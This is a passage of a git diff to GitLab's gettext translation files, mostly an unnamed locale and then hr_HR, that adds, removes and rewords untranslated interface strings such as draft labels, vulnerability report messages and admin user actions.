msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index 33b83826f37..b48119c16cb 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:41\n"
+"PO-Revision-Date: 2020-12-03 08:09\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -85,6 +85,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -184,14 +190,14 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -406,22 +412,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -505,6 +502,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -577,21 +577,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -607,9 +613,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -625,13 +628,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -664,9 +667,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -769,37 +769,13 @@ msgstr[2] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -859,6 +835,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -961,6 +940,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -979,12 +961,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1597,9 +1573,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1948,9 +1921,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2173,6 +2152,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2221,16 +2209,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
